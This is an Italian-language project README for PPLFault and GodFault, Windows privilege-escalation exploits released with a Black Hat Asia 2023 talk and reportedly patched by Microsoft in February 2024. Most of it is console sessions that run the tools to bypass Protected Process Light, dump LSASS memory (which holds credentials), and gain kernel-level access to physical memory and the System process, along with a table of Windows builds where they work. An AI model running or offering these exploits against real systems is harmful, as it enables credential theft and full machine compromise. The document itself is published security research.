gabriellandau/pplfaultExploit di escalation dei privilegi di Windows che abusa di un TOCTOU in Code Integrity per bypassare Protected Process Light, eseguire come WinTcb-Light e dumpare i processi protetti (es. LSASS).
Di Gabriel Landau presso Elastic Security.
Da PPLdump Is Dead. Long Live PPLdump! presentato a Black Hat Asia 2023.
PPLdump Is Dead. Long Live PPLdump!
AGGIORNAMENTO 2024-02: Microsoft ha corretto PPLFault il 2024-02-13. Vedi questo thread per la discussione correlata.
Sfrutta un TOCTOU in Windows Code Integrity per ottenere l'esecuzione arbitraria di codice come WinTcb-Light e poi eseguire il dump di un processo specificato. Per maggiori dettagli sull'exploit, vedi le mie slide e/o il talk.
PS C:\Users\user\Desktop> cmd /c ver
Microsoft Windows [Version 10.0.25346.1001]
PS C:\Users\user\Desktop> tasklist | findstr lsass
lsass.exe 992 Services 0 76,620 K
PS C:\Users\user\Desktop> (Get-NtProcess -Access QueryLimitedInformation -Pid 992).Protection
Type Signer
---- ------
ProtectedLight Lsa
PS C:\Users\user\Desktop> dir *.dmp
PS C:\Users\user\Desktop> .\PPLFault.exe -v 992 lsass.dmp
[+] No cleanup necessary. Backup does not exist.
[+] GetShellcode: 528 bytes of shellcode written over DLL entrypoint
[+] Benign: C:\Windows\System32\EventAggregation.dll.bak
[+] Payload: C:\PPLFaultTemp\PPLFaultPayload.dll
[+] Placeholder: C:\PPLFaultTemp\EventAggregationPH.dll
[+] Acquired exclusive oplock to file: C:\Windows\System32\devobj.dll
[+] Ready. Spawning WinTcb.
[+] SpawnPPL: Waiting for child process to finish.
[+] FetchDataCallback called.
[+] Hydrating 90112 bytes at offset 0
[+] Switching to payload
[+] Emptying system working set
[+] Working set purged
[+] Give the memory manager a moment to think
[+] Hydrating 90112 PAYLOAD bytes at offset 0
[+] Dump saved to: lsass.dmp
[+] Dump is 74.9 MB
[+] Operation took 937 ms
PS C:\Users\user\Desktop> dir *.dmp
Directory: C:\Users\user\Desktop
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a---- 5/1/2023 11:18 AM 78581973 lsass.dmp
Sfrutta lo stesso TOCTOU di PPLFault. Tuttavia, invece di eseguire il dump di un processo, migra verso CSRSS e sfrutta una vulnerabilità in win32k!NtUserHardErrorControlCall di ANGRYORCHARD per decrementare KTHREAD.PreviousMode da UserMode (1) a KernelMode (0). Dimostra l'accesso "God Mode" aprendo \Device\PhysicalMemory, normalmente inaccessibile da UserMode, come SECTION_ALL_ACCESS.
C:\Users\user\Desktop>GodFault.exe -v
[?] Server does not appear to be running. Attempting to install it...
[+] No cleanup necessary. Backup does not exist.
[+] GetShellcode: 2304 bytes of shellcode written over DLL entrypoint
[+] CSRSS PID is 772
[+] Benign: C:\Windows\System32\EventAggregation.dll.bak
[+] Payload: C:\GodFaultTemp\GodFaultPayload.dll
[+] Placeholder: C:\GodFaultTemp\EventAggregationPH.dll
[+] Acquired exclusive oplock to file: C:\Windows\System32\devobj.dll
[+] Testing initial ability to acquire PROCESS_ALL_ACCESS to System: Failure
[+] Ready. Spawning WinTcb.
[+] SpawnPPL: Waiting for child process to finish.
[+] FetchDataCallback called.
[+] Hydrating 90112 bytes at offset 0
[+] Switching to payload
[+] Emptying system working set
[+] Working set purged
[+] Give the memory manager a moment to think
[+] Hydrating 90112 PAYLOAD bytes at offset 0
[+] Thread 6248 (KTHREAD FFFFA283B0A62080) has been blessed
[+] Testing post-exploit ability to acquire PROCESS_ALL_ACCESS to System: Success
[+] Opened \Device\PhysicalMemory. Handle is 0x1b4
[+] Opened System process as PROCESS_ALL_ACCESS. Handle is 0x1c0
[+] Press any key to continue...
[+] No cleanup necessary. Backup does not exist.
PoC che ottiene l'esecuzione arbitraria di codice come WinTcb-Light senza l'API CloudFilter. Vedi python/README.md.
| Windows 11 22H2 22621.1702 (Maggio 2023) | Windows 11 Insider Canary 25346.1001 (Aprile 2023) | |
|---|---|---|
| PPLFault | ✔️ | ✔️ |
| GodFault | ✔️ | ❌ La mitigazione Insider PreviousMode causa bugcheck |
PPLFault è coperto dalla licenza ELv2. Usa phnt di SystemInformer sotto la licenza MIT.
Ispirato da PPLdump di Clément Labro, che Microsoft ha corretto a luglio 2022.
ANGRYORCHARD è stato creato da Austin Hudson, che lo ha rilasciato quando Microsoft ha corretto PPLdump.